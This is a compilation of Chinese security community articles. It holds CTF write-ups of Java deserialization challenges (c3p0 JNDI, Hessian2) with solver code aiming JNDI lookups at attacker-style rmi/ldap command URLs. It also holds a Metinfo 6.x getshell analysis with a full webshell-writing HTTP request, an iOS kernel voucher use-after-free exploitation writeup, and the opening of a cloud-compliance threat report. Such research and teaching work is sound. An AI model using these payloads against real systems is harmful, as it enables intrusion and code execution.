我们用动态 attach 注入方法，写好`agentmain`后将其打包成 Jar 文件
记得修改文件中 MANIFEST.MF 文件
### 从字节数组入手
### 从序列化数据入手
这里先学习了一下[SerializationDumper](https://github.com/NickstaDB/SerializationDumper)，（<https://www.freebuf.com/vuls/176672.html）>
我们来看一下未修改前生成的数据：
我因我们想实现的是如下代码的效果：
java.util.Properties properties = new java.util.Properties();
javax.naming.CompoundName compoundName = new javax.naming.CompoundName("rmi://127.0.0.1:6666/calc", properties);
this.contextName = compoundName;
所以说contextName肯定是个对象，那就要按照这样的格式去写
模仿已有的对象数据就行，然后知道这些知识点：
最终就有上面的序列化数据（什么？你问我是不是自己写的，肯定...不是）
然后就定位要插入的位置，将0x70直接替换
这个只是粗略的尝试了一下就成功了，修改序列化的数据应该是更麻烦（还要考虑偏移量等问题），之后还是要更深入学习下 JRE8u20 的构造及相关工具才行。
## CTF 题目
### Dest0g3 ljcrt
#### 题目分析
有一个反序列化入口并且过滤了`ldap`字符串
还通过 Java Agent 技术过滤了一些东西
过滤了高版本 JNDI 的 EL 表达式绕过，题目存在 c3p0 依赖，但又要求 reference 不能有值，也过滤了一些链
#### JNDI
在跟 c3p0 的 http base
链时，可以注意到在`PoolBackedDataSourceBase`类的`writeObject`方法中有如下内容：
尝试将当前对象的`connectionPoolDataSource`属性进行序列化，如果不能序列化便会在catch中对`connectionPoolDataSource`属性用`ReferenceIndirector.indirectForm`方法处理后再进行序列化操作：
这个类是不能反序列化的，所以会进入catch模块：
我们可以控制 var2，但是 this.contextName 默认是 null 的
然后看`PoolBackedDataSourceBase`类的`readObject`方法：
跟进getObject方法：
当 this.contextName 不为空，才能触发 JNDI，所以我们可以想办法在`indirectFrom`函数里插入些代码。
#### solve
先运行这个：
package c3p0;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.naming.ReferenceIndirector;
import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class main {
public static void main(String[] args) throws Exception{
Thread.sleep(5000);//sleep一会
PoolBackedDataSource a = new PoolBackedDataSource();
a.setConnectionPoolDataSource(new PoolSource());
writeFile("1.txt",serialize(a));
//deserialize(FiletoBytes("1.txt"));
}
private static final class PoolSource extends ReferenceIndirector implements ConnectionPoolDataSource, Referenceable {
public PoolSource () {
}
public Reference getReference () throws NamingException {
return null;
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
private static void writeFile(String filePath, byte[] content) throws Exception {
FileOutputStream outputStream = new FileOutputStream(filePath);
outputStream.write( content );
outputStream.close();
}
public static byte[] FiletoBytes(String filename) throws Exception{
String buf = null;
File file = new File(filename);
FileInputStream fis = null;
fis = new FileInputStream(file);
int size = fis.available();
byte[] bytes = new byte[size];
fis.read(bytes);
return bytes;
}
}
再运行动态注入的代码：
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.*;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.util.List;
public class AgentDemo {
public static void main(String[] args) throws Throwable{
Class.forName("sun.tools.attach.HotSpotAttachProvider");
List<VirtualMachineDescriptor> vms = VirtualMachine.list();
String targetPid = null;
for (int i = 0; i < vms.size(); i++) {
VirtualMachineDescriptor vm = vms.get(i);
if (vm.displayName().contains("main")) {
System.out.println(vm.displayName());
targetPid = vm.id();
System.out.println(targetPid);
}
}
VirtualMachine virtualMachine = VirtualMachine.attach(targetPid);
virtualMachine.loadAgent("out\\agent.jar",null);
virtualMachine.detach();
}
public static void agentmain(String agentOps, Instrumentation inst) throws Exception {
for (Class allLoadedClass : inst.getAllLoadedClasses()) {
if (allLoadedClass.getName().contains("c3p0.main")) {
Class<?> elProcessorClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector");
ClassPool classPool = new ClassPool(true);
classPool.insertClassPath(new ClassClassPath(elProcessorClass));
classPool.insertClassPath(new LoaderClassPath(elProcessorClass.getClassLoader()));
CtClass ctClass = classPool.get(elProcessorClass.getName());
CtMethod ctMethod = ctClass.getMethod("indirectForm","(Ljava/lang/Object;)Lcom/mchange/v2/ser/IndirectlySerialized;");
ctMethod.insertBefore(String.format("java.util.Properties properties = new java.util.Properties();\n" +
" javax.naming.CompoundName compoundName = new javax.naming.CompoundName(\"rmi://127.0.0.1:6666/calc\",properties);" +
"this.contextName=compoundName;",AgentDemo.class.getName()));
inst.redefineClasses(new ClassDefinition(elProcessorClass,ctClass.toBytecode()));
ctClass.detach();
}
}
}
}
可以看到最终结果 contextName 的值：
接下来因为还有 yaml 依赖，所以打的就是 yaml 的绕过
### 网鼎杯 hessian2
#### 题目分析
还给了一个`MyBean`类（以及为了实现它的`toString`方法的两个其他类，不再多提）
熟悉 Rome 反序列化的就知道可以任意调用 getter 方法
所以思路就是找 hessian 触发 toString 的链子
可见：<https://paper.seebug.org/1814/#hessian2input>
#### hessian2toString
跟进 read() 函数
先进入 readBuffer() 后返回 `this._buffer[this._offset++] & 255`（其实就是 this._buffer[0]
& 255）
如果我们能控制 tag 为 67
public String readString() throws IOException {
int tag = this.read();
int ch;
switch(tag) {
case 0:
case 1:
case 2:
case 3:
...
case 31:
this._isLastChunk = true;
this._chunkLength = tag - 0;
this._sbuf.setLength(0);
while((ch = this.parseChar()) >= 0) {
this._sbuf.append((char)ch);
}
return this._sbuf.toString();
case 32:
case 33:
...
case 67:
...
case 127:
default:
throw this.expect("string", tag);
case 48:
case 49:
case 50:
...
case 253:
case 254:
case 255:
return String.valueOf((tag - 248 << 8) + this.read());
}
}
那么根据上次的 read 函数，这里返回的就是 this._buffer[1] 了，如果能控制返回的是 32-127 就能进入 expect
函数，我们还控制为 67（后面会解释）
protected IOException expect(String expect, int ch) throws IOException {
if (ch < 0) {
return this.error("expected " + expect + " at end of file");
} else {
--this._offset;
try {
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
} catch (IOException var4) {
log.log(Level.FINE, var4.toString(), var4);
return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));
}
}
}
最终触发 toString
#### getConnection2JNDI
跟进方法
到 PoolBase
最终达到 JNDI
#### solve
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.ctf.badbean.bean.MyBean;
import java.io.*;
import java.util.Base64;
public class payload {
public static void main(String[] args) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
HikariDataSource ds = new HikariDataSource();
ds.setDataSourceJNDI("ldap://url:port/Basic/Command/calc");
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
Object o = new MyBean("", "", ds, HikariDataSource.class);
out.writeString("aaa");
out.writeObject(o);
out.flushBuffer();
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream((byteArrayOutputStream.toByteArray())));
hessian2Input.readObject();
}
}
我们重写了一个 HessianOutput 类来获得序列化数据，首先可以在 writeString 处对 this._buffer 赋值
第一个框中 buffer[offset++] = 67 是为了 将 this._buffer[0] 赋值为67，后一句则将 this._buffer[1]
赋值为67，至于为什么有这种效果等会再说
第二个框是为了对于我们想构造的数据不要再产生多余影响了，正常数据还是原来处理
然后跟入 writeObject 中
继续跟到
在这个函数中发现还有个赋值67的操作
还记得之前 this._offset = offset 吗，所以 this._buffer[1] = 67
现在回想下那两个框和我们要求的67，一切串起来后就会感觉构造的特别妙
### after hessian2
这部分就是在做完题后学习 Dubbo 安全时看到的
> 我们可以使用hessian2对某个对象进行 **序列化** ，得到一段byte数组，修改数组中某个布尔值属性所对应的tag
目的还是进入`expect`函数触发 toString，这里选取布尔值属性进行修改，用 binding
恶意对象将值覆盖（不太清楚为什么，但做了一些实验发现直接修改值会导致 obj = this.readObject()
失败，可能还是要更深入跟踪序列化过程，这里就学习一下思路）
顺便浅说一下师傅的这部分代码，因为是要打 Dubbo 服务的，所以加上头部字段，我们简单复现的话也不必要加
* Magic固定为0xdabb
* Serialization ID为一些标记组合的结果
* Request ID 随机
* Data Length
最终打到了：
## 参考
<https://firebasky.github.io/2022/06/04/ljctr-wp/>
<http://miku233.viewofthai.link/2022/08/29/2022%E7%BD%91%E9%BC%8E%E6%9D%AFJava/>
<https://www.cnblogs.com/bitterz/p/15828415.html> | 社区文章 |
本漏洞需要结合前台SQL注入进行getshell。
## 漏洞分析
漏洞文件存在于 **app/system/include/class/web.class.php** 文件中，我们可以看到当满足条件：
**$_M['form']['metinfonow'] == $_M['config']['met_member_force']** 时， **web**
类的析构函数会将缓冲区的数据写入一个可控的文件中，其代码具体如下：
为了满足上面的条件，我们需要先看看 **$_M['config']['met_member_force']** 是什么。通过搜索
**met_member_force** 关键字，我们可以发现其值的生成方式是通过 **randStr** 函数随机生成 **7个** 字符。具体代码如下：
针对 **Metinfo6.x <= 6.1.2** 的版本，我们可以利用已知的 **SQL注入** 漏洞（留言版处）获取
**$_M['config']['met_member_force']** 的值，而 **Metinfo6.1.3** 的版本，也可以利用未修复的
**SQL注入**
漏洞（反馈处），具体漏洞细节可参考：[Metinfo6.0.0-6.1.2前台注入漏洞生命线](https://mochazz.github.io/2018/11/09/Metinfo6.0.0-6.1.2%E5%89%8D%E5%8F%B0%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E7%94%9F%E5%91%BD%E7%BA%BF/)
。下图为通过注入获取 **$_M['config']['met_member_force']** 的值：
接下来就是寻找 **web** 类的子类，因为他们都继承了父类的 **__destruct**
方法，我们只要找到可控制的缓冲区数据，便可完成整个攻击。通过全局搜索 **extends web** 关键字，我们发现有一个 **uploadify**
子类非常适合。该上传类不管上传操作成功与否，都会将相关信息输出（即可将数据送入缓冲区）。该类中有多个方法均可利用，我们随机选取一个 **doupfile**
方法来分析。
我们可以看到下图代码 **第17行** 直接将 **$back** 变量输出，我们跟进到 **第15行** ，观察该变量值的来源。
从上图代码中，我们可以清晰的看到 **$back** 变量来源于可控的 **$_M['form']['formname']** ，我们跟进对其处理的
**upfile** 类的 **upload** 方法，具体代码如下：
我们看到 **第30行** 代码，如果 **$this- >ext** 类型不再数据库中，就将其返回，而如果我们将文件名设置为 **<?php
phpinfo();?>** ，这样这段代码也会被输出到缓冲区中。接着回到我们文章开头的代码中，便可成功写入 **shell** 。
## 攻击
POST /metinfo/admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=qipwtxm&html_filename=1.php HTTP/1.1
Host: localhost
Content-Length: 196
Origin: http://localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close
------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name="test"; filename="<?php phpinfo();?>"
Content-Type: image/jpeg
test
------WebKitFormBoundary8tQiXReYsQYXHadW--
## 攻击流程图
最后我们再来理一下整个攻击的流程：
## 参考
[【技术分析】Metinfo利用sql注入快速getshell](https://nosec.org/home/detail/2324.html) | 社区文章 |
**作者: Qixun Zhao(@S0rryMybad) of Qihoo 360 Vulcan Team
博客：[《IPC Voucher UaF Remote Jailbreak Stage
2》](http://blogs.360.cn/post/IPC%20Voucher%20UaF%20Remote%20Jailbreak%20Stage%202.html
"《IPC Voucher UaF Remote Jailbreak Stage 2》")**
在今年11月份的天府杯比赛中,我演示了iPhoneX 最新iOS系统的远程越狱,这篇文章讲述的是这个exploit chain的stage
2.这里我用到的是一个沙盒内可以直接到达的内核漏洞(I name it
Chaos),所以在取得Safari的RCE以后,我们可以直接从Safari沙盒内触发这个漏洞,最终达到远程越狱.
在这里文章中,我将会放出Chaos的PoC,并且会详细讲解(面向初学者)如何在A12上取得tfp0的exploit细节,但是我不会放出exploit的代码,如果你想要越狱,这需要你自己去完成exploit的代码或者等待越狱社区去开发.同时,我不会提及post
exploit的利用细节,请把这个任务交给越狱社区.
这是在比赛前夕录取的在iPhoneX最新系统上利用Chaos进行rjb
DEMO:<http://v.youku.com/v_show/id_XNDAyNjM1Mjk0OA==.html>
### 0x0 基础知识:
如果你不是初学者或者对这部分不感兴趣,请直接跳过.
##### 0x01 关于port的概念
在苹果的内核中,port是一个十分重要的概念,并且易学难精(特别是它的引用计数关系),如果已经完全弄懂了port到底是怎样的东西,你已经是iOS内核中的佼佼者.
简单来说,port是一个单向传输通道,在内核中对应的内核对象是ipc_port,只能有一个接收方,但是可以有多个发送方.请记住是单向,不是双向,因为只能有一个接收方,如果你想发送消息给一个port,前提你需要有这个port的send
right,这些right的信息保存在进程相关的ipc entry
table中,所以right的信息是每个进程独立的,即使它们表示的port是同一个.正因为这个原因,所以port的权限可以在每个进程隔离.但是需要注意的是ipc_port这个内核对象是共享的,如果表示的内核port是同一个,所有的ipc
entry都是指向同一个port,这也方便了port进程间的共享.
port有两种重要的作用,第一种是用于进程间通讯,第二种是用于表示一个内核对象,相当于windows中的句柄.第二种是第一种的特殊情况,也就是当port的接收方是|ipc_space_kernel|的时候.如果你想对一个内核对象进行操作,前提你需要有这个内核对象对应的port的send
right.
所谓的tfp0就是task for pid 0, pid 0对应的是内核进程, 因为task也是一个内核对象,所以它可以用port来表示,如果取得了pid
0的task port的send right, 就可以利用这个task port调用各种进程的内核API,通过这些API可以达到内核任意地址读写.
##### 0x02 关于MIG
在苹果的代码中,有一种称为MIG的代码,这是根据defs文件自动生成的代码,里面一般会做一些内核间对象的转换(例如port到内核对象)以及对象引用计数的管理,然后调用真正的内核函数.如果kernel代码编写人员不熟悉defs的含义或者MIG对对象引用计数的管理,在这个MIG包裹的真正内核API中不适当地管理内核对象的引用计数,是很容易产生引用计数的泄露或者double
free.
### 0x1 漏洞发现过程与细节
在一开始的时候,我看到这样一段代码,注意这不是最终的漏洞:
我们可以发现,在semaphore非空的时候,每一个路径都调用了|semaphore_dereference|,除了|!=task|那个路径,所以直觉告诉我,无论MIG的代码是怎样的,这里面肯定会有一个路径会发生引用计数的泄露.经过浏览MIG的函数后,我发现确实|!=task|的路径发生了引用计数的泄露,这个在iOS12之前是可以利用的,并且在沙箱内可以出发,只不过需要很久的时间去触发引用计数的溢出,意义不大.并且在最新版已经修复.
但是,如果你是一个老练的漏洞挖掘人员,你应该有敏锐的触觉第一时间想到,这部分的代码肯定是缺少review并且质量不怎么好,毕竟这里可是沙盒内能直达的代码啊,也意味着内核编写人员可能并不熟悉MIG代码的生成规则.这个信息比找到上面那个鸡肋的漏洞更加重要,于是我开始找这些MIG相关的内核函数,当然是沙盒直达的.这也启示了我以后挖掘漏洞的一些方法.
接着,我在相关的代码中看到一个平平无奇的内核函数task_swap_mach_voucher,也就是漏洞的核心所在:
如果不配合MIG函数看, 肯定是看不出这个平平无奇的函数所存在的问题,因此我们看看对应的MIG函数:
其中|convert_port_to_voucher|是会把对应的ipc_voucher 引用计数加一,
|ipc_voucher_release|和|convert_voucher_to_port|会把引用计数减一.看起来没有任何问题,无论|new_voucher|还是|old_voucher|都是先加一再减一,并且没有任何赋值,所以引用计数也不需要变化.
但是我们再来回顾那个平平无奇的函数,里面把|new_voucher|赋值到|old_voucher|了!!!!!这意味着,当|task_swap_mach_voucher|调用出来后,|new_voucher|是等于|old_voucher|,换句话说,|new_voucher|会被double
free,同时|old_voucher|不会有free.发生引用计数泄露,所以这里一共有两个问题.当然double
free的利用价值更加大,不需要等漫长的时间触发引用计数溢出,所以最终我们得到的PoC如下:
首先通过|thread_set_mach_voucher|设置一个dangling pointer,然后通过漏洞释放ipc
voucher对象,然后通过|thread_get_mach_voucher|触发crash.接下来就是如何在A12上利用.
### 0x2 get the tfp0 on A12
UaF的漏洞通常是要fake对应的漏洞对象,所以在利用这个漏洞之前,我们首先要搞清楚我们UaF的对象ipc_voucher到底是怎样的数据结构:
好消息是ipc_voucher里面存在一个ipc_port_t iv_port,并且这个port是可以通过thread_get_mach_voucher
=> convert_voucher_to_port 传回用户态,意味着我们可以通过fake port的方法直接构造一个tfp0.关于fake
port的利用有一篇写得十分好的文章(via@s1guza ),强烈推荐阅读: <https://siguza.github.io/v0rtex/>.
我的利用中参考这篇文章和代码很多.
坏消息是我们都知道ipc_voucher是一个内核对象,意味着这个伪造的fake port我们没有receive right,
这对于tfp0没有任何影响,因为只需要有send right就可以完全控制这个内核对象,但是对利用过程有一定的影响.
##### 0x21 Zone GC
在iOS的内核里, 不同的内核对象隔离在不同的zone, 这意味着即使ipc
voucher对象释放了,这个对象不是真正的释放,只是放到对应的zone的free list,我们也只可能重新分配一个ipc
voucher去填充.但是一般的UaF的漏洞我们都是需要转换成Type Confusion去利用,也就是我们需要分配一个不同的内核对象去填充这个释放的ipc
voucher内存区域,在这里我们需要手动触发内核的zone gc, 把对应的page释放掉.
在这里我用到的方法是分配很多的ipc_voucher对象,这里起码得超过一个page的大小,然后全部释放掉.因为zone gc的最小单位是一个page,
如果一个page里面不是全部ipc_voucher被释放,那么在zone gc的时候并不会释放这个page(详情参考MacOS X and iOS
Internals:To the Apple’s Core Page 427 中文版):
在释放完毕后,我们需要释放zone gc,把对应的page释放回操作系统管理,触发的方法在ian
beer以往的利用中已经有介绍过,利用分配大量的port并且发送消息即可:
这里有一个坑就是我们最好通过usleep稍微等待一些时间,因为zone
gc需要一些时间,因为这个坑我调试的时候就发生了很诡异的bug:在调试器里运行得很好,但是一脱离调试器就panic.
##### 0x22 leak a receive port addr
把对应的内存释放后,我们开始考虑应该填充什么东西.首先第一步我们肯定是需要泄漏一些内核的信息,例如一些堆地址,因为在fake
ipc_voucher和port的时候需要用到,后续我们还要在这个内存区域填充任意数据去fake.所以第一时间我们想到的是OSString,因为利用OSString我们可以完全控制内核的数据,并且可以通过一些API把OSString的数据读回来,从而泄漏内核的信息.
关于OSString的分配我们可以用IOSurfaceRootUserClient的接口|IOSURFACE_GET_VALUE|和|IOSURFACE_SET_VALUE|.
第一步我们可以泄漏的东西是一个port的地址,具体我们看代码convert voucher to port:
如果iv_port为空,则内核会分配一个新的port,并且放在iv_port的位置.所以在第一步重新分配OSString去fake
ipc_voucher的关键就在于令iv_port这个offset为空,在分配port完成后,通过API把OSString读回来,就可以得到刚分配的一个port的地址.
还有很重要的一点是offset问题,如果分配的OSString的开始位置不能刚好对应ipc_voucher的开始位置,我们伪造的一切数据都会错误.这里因为在iPhone
XS
Max中(A12)一个page的大小是0x4000,而zone的分配是以page为单位的,也就是说第一个ipc_voucher必定是page对齐的,所以我们分配的OSString只需要page对齐即可以保证和ipc_voucher对齐.(这里可能有点难理解,原谅我的表达能力),分配代码如下:
这里的padding我们暂时不用管是什么,后续会用到.因为port为0x0,
所以在port后续会赋值一个port的真实地址,然后通过查找找出port的地址和占据了对应内存的OSString index:
我们之前提到了这个port是没有send right的,后续我们利用中需要用到receive
right去泄漏kernel的slide,所以这里我用了一个trick,在它附近分配大量的带有receive
right的port,最后我们可以用这个地址减去sizeof(ipc_port_t)即可得到一个receive right port的地址.
##### 0x23 Fake a port
因为SMAP的关系,我们需要在内核地址中伪造port,这里我们需要得到一个我们可控的内核地址,也就是上面分配的那么多的OSString的其中一个即可,通过heap
spray大量分配内存可以令这个地址更加容易猜测.
一开始我打算用泄漏的port地址去计算相关的偏移得到这个地址,但是后来我发现iOS中的堆地址随机化比较弱,所以这里我用了一个固定的地址:
然后我们重新分配上面提到的OSString,重新伪造ipc_voucher,令它的port指向我们的可控地址,还记得我们记录下了对应的OSString的idx了吗?通过它我们可以很快定位出需要reallocate的OSString:
这里的第三个参数就是需要伪造的port的地址,我们看到这里有一个magic offset 0x8,在Fake Voucher开始位置再减去magic
offset，也指向在上文我们提到的padding第二个域:
在这里我把fake voucher和fake port的内存区域重叠起来了,在padding+0x8的地方其实是fake
port的开始地址,再往后会返回到hash域，通过这样的布局刚好可以满足fake voucher和fake
port的要求而且不panic.这里重叠起来实属无奈之举,因为我们只有一次重分配的机会,如果重分配两次,第一次分配的OSString 用来fake
voucher,第二次用来fake port,则我们猜测的地址有一半可能是指向fake voucher,现在这样只有一种可能,就是指向fake port.
##### 0x24 leak the idx OSString of fake port
由于后期需要多次重分配fake port内存区域的数据,所以需要找到fake port对应的OSString的index:
通过调用thread_get_mach_voucher=>convert_voucher_to_port,
我们可以得到两个需要的东西.第一是OSString的index,因为convert_voucher_to_port会修改fake
port区域的reference,通过这个不同可以找出index:
第二个得到的是指向我们可控地址的用户态port, 也就是上图中的| fake_port_to_addr_control |,通过它和修改fake
port的数据,我们可以做很多事情.
##### 0x25 任意内存地址读
通过在fake port中伪造一个task port, 然后通过调用pid_for_task(关于这个利用技巧网上已有大量讨论,这里不再解释),
我们可以任意地址读,每一次是32位,但是弊端就在于每一次读取我们都要重新分配OSString,因为我们需要修改fake
port中需要读取的内存地址.因为我们知道对应的OSString index,我们不需要全部OSString重新分配:
这里我不是单单只重分配对应的index,是设置了一个range
0x50,也就是把这个index前后0x50个OSString也重新分配,令我吃惊的是,这个重分配出奇的稳定,原本我会觉得这个exploit会挺不稳定.
在上文我们已经泄漏了一个带有receive right的port 地址,利用这个地址加任意地址读,我们可以最后得到kernel
slide,关于这部分内容以及接下来的网上已有讨论的我不再详述,还是推荐看这篇文章<https://siguza.github.io/v0rtex/>
##### 0x26 fake a map port
现在的我们每一次操作fake port都要重新分配OSString,这对于利用十分不友好,在得到了kernel的slide,我们下一步应该立刻把|
fake_port_to_addr_control |对应的内核地址remap到我们进程的用户态,这样以后每一次修改fake
port的数据就可以直接在用户态修改,不需要通过重分配OSString:
通过remap后,用户态对应地址和内核态对应地址共享一个物理内存区域,这样通过修改用户态的地址即可达到修改内核态对应地址的数据的目的(除非是COW)
##### 0x27 Fake TFP0
由于在convert_port_to_task中会检测port的ip_kobject,也就是task_t的地址是否等于kernel_task,所以我们不能直接把读取出来的kernel_task地址赋值到fake
port的ip_kobject中,而需要它先memcpy到另外一个内核地址,然后再赋值.
这里我分开两步骤,第一用一个真实的内核对象port去初始化fake port的所有数据,因为tfp0和所有内核对象的port都是共享一个receiver |
ipc_space_kernel
|,这里我用了一个IOSurefaceRootUserClient的port去初始化.如果不这样做在用tfp0调用内核API的时候会出错,因为很多属性值还没有初始化,例如ip_messages.
接下来把原生的kernel task地址copy到另外一个内核地址,并且修改tfp0 port中一些与IOSurefaceRootUserClient
port不同的部分:
最后一步,重新分配fake voucher中的port地址,指向我们最新fake
tfp0的地址,然后通过thread_get_mach_voucher返回到用户态,最终得到tfp0:
### 0x3 Cleaning the stuff
因为我们在程序结束的时候，还有一个danging Pointer在thread mach voucher中指向我们的danging
Pointer，而danging
Pointer是指向我们OSString分配的内存，这部分内存在IOSurfaceRootUserClient释放的时候进行释放的，也就是进程结束的时候。除此之外，还有众多我们伪造的port，都是指向OSString分配的内存，所以都要在进程结束前一并回收.
最后，包括我们最终生成的tfp0，也是需要进行释放的，所以如果想要保持tfp0的持久性，最好在post
exploit阶段重新自己构造一个新的tfp0.至此tfp0的利用已经结束,关于后续的post exploit,
根目录读写,签名bypass等等这里不会提及.
### 0x4 总结
我们都知道，在A12中引入了PAC的mitigation，很多人都觉得这是UaF甚至是越狱的终点.事实证明，UaF的洞还是可以在PAC的环境下利用，这需要看具体的情况，因为PAC只是针对间接调用控制pc寄存器这一方面。我们可以看到，在取得tfp0的整个过程中,我们不需要控制pc寄存器,这是因为我们释放的对象ipc_voucher中存在一个port的属性值.UaF漏洞的利用很大程度上依赖这个释放的对象的数据结构以及这些数据结构怎么去使用,因为最终我们要转换成type
confusion.
* * * | 社区文章 |
# 威胁猎人 | 2018年上半年国内公有云云上资产合规现状报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
声明：
本报告版权属于威胁猎人情报中心，并受法律保护。转载、摘编或利用其它方式使用本报告文字或者观点的，应注明“来源：威胁猎人”。违反上述声明者，将追究其相关法律责任。
## 一、报告背景
自2005年亚马逊发布AWS伊始，云计算历经十数年的发展，已被广泛应用于各个领域，云计算支出在全球IT支出中的比例不断提升，并形成了一个新兴的、高达数千亿美元的全球市场。
在国内，2009年成立的阿里云引领了云计算风潮。在完成一定的技术积累和客户普及教育后，目前，我国的云计算产业已进入一个较长的高速增长期，在国家政策的大力扶持下，加之阿里云、腾讯云等大型公有云厂商的大力推动，我国云计算市场的规模急剧扩张，网络效应和规模效应明显放大，并已成为我国IT产业一个新的高速增长点。
然而，在各个公有云厂商努力开疆拓土，打造各自的云计算帝国的同时，云上资产的合规性问题也日益凸显：
一方面，越来越多的互联网企业和传统企业依托公有云厂商提供的服务开展业务或进行数字转型，企业的数字资产正在向云上集中，云上资产的安全与合规显得尤为重要。而公有云厂商在某种程度上已经与上云企业形成了责任共担关系：上云企业必须依托公有云厂商在基础设施、平台乃至软件层面提供的安全能力来构建云上业务的安全体系，公有云厂商在安全和合规层面也承担了比传统的IDC厂商和网络运营商更多的责任和义务，安全与合规能力的输出也已成为其核心竞争力之一。
另一方面，云计算本身的开放性、便捷性、多样性、高性价比，以及公有云厂商在安全方面的努力，不仅吸引着正常的企业用户，同样也吸引着网络黑灰产从业者：越来越多的网络黑灰产通过购买公有云服务，将用于攻击、诈骗、引流的网站和服务器置于云中，进一步降本提效。同时，还可利用公有云提供的安全能力与企业和安全厂商进行对抗。这迫使公有云厂商必须加强对云上资产的合规审计能力，做到及时、准确地识别云上资产及服务的违规、滥用行为，强化对公有云内容和行为安全的管控力度，承担起相应的社会责任。
有鉴于此，威胁猎人依托自身的黑灰产流量布控能力，结合战略合作伙伴金山毒霸提供的恶意网站感知数据，对公有云云上资产的合规现状进行了深入的调研分析，通过大量的一手数据，形成了《国内公有云云上资产合规现状报告（2018年上半年）》，旨在阐明国内公有云在云上资产合规审计领域面临的现状及问题，为国家相关监管机构和公有云厂商提供参考。
## 二、基本概念
### 1、本报告涉及的概念及术语定义
（1）撞库：撞库攻击指的是黑客通过收集互联网上已泄露的用户账户信息，生成对应的字典表，再利用部分用户相同的注册习惯（即使用相同的用户名和密码），尝试登陆其它的网站或应用，以获取新的可利用账户信息。
（2）爬虫：爬虫又称为网页蜘蛛，是一种按照既定规则，自动抓取网络上的指定信息的程序或脚本，可分为遍历爬取网页超链接的网页爬虫和构造特定 API
接口请求数据的接口爬虫两类。
（3）蜜罐：蜜罐（Honeypot）是指被当入侵诱饵，引诱黑客前来攻击已收集相关证据信息的软件系统。依照蜜网项目组（The Honeynet
Project）的定义，蜜罐是一种安全资源，其价值在于被探测、被攻击或被攻陷。
（4）网络钓鱼：网络钓鱼是构造带有欺骗性的电子邮件或伪造的Web站点，以吸引受害者提交敏感信息，或向目标传递并植入恶意程序的一种社会工程攻击方式，常被用于执行网络欺诈和网络入侵。按照攻击载体，网络钓鱼可分为网站钓鱼、邮件钓鱼、短信钓鱼、IM社交钓鱼、移动APP钓鱼等类型。
（5）DDoS攻击：即分布式拒绝服务攻击。一般来说，DDoS攻击会利用“肉鸡”对目标网站在较短的时间内发起大量合法请求，以消耗和占用目标的网络和主机资源，迫使其无法正常提供服务。
（6）僵尸网络：僵尸网络（Botnet）是攻击者出于恶意目的，传播僵尸程序bot以控制大量计算机，并通过一对多的命令与控制信道所组成的网络。需注意的是，这个网络并非物理意义上具有拓扑结构的网络。
（7）暗网：暗网（Dark Web）是指统称那些只能用特殊软件、特殊授权或对电脑做特殊设置才能连上的网络，使用一般的浏览器和搜索引擎找不到暗网的内容。
### 2、数据来源及取样说明
数据来源说明
本报告的主要数据来源包括：
（1）内容类数据；通过定向监控手段（云清平台）获取的违规/恶意网站及其内容数据。
（2）样本类数据：通过广谱监控手段（TH-Karma平台）获取的黑灰产工具样本。
（3）流量类数据：通过蜜罐监控手段（TH-Karma平台）获取的黑灰产攻击流量数据。
（4）黑IP/域名类数据：通过第三方合作、蜜罐监控手段（云清平台及TH-Karma平台）获取的黑IP/域名数据。
（5）其他类数据：通过其他第三方合作和监控手段获得的云主机安全相关数据，包括但不限于上述的数据类型。
数据取样说明
本报告的数据取样主要采取以下几种方式：
（1）关键词取样：根据特定的关键词及关键词组合，从全集数据中提取与特定分析对象或特定分析场景有关的数据子集。主要用于数据统计或趋势分析。
（2）相似度采样：根据文本或样本数据的相似度，从全集数据中提取具有较高相似度的数据子集。主要用于数据分类统计或案例分析。
（3）随机采样：对未知类型或内容数据进行简单随机采样，抽样比例根据具体的分析场景决定，主要用于情报线索发现或关键词校验。
（4）分层采样：对已知工具/事件数据按既定的标签规则分为若干子集，对每个子集中的数据随机抽取部分数据进行分析，抽样比例根据具体分析场景决定，主要用于案例分析或关键词校验。
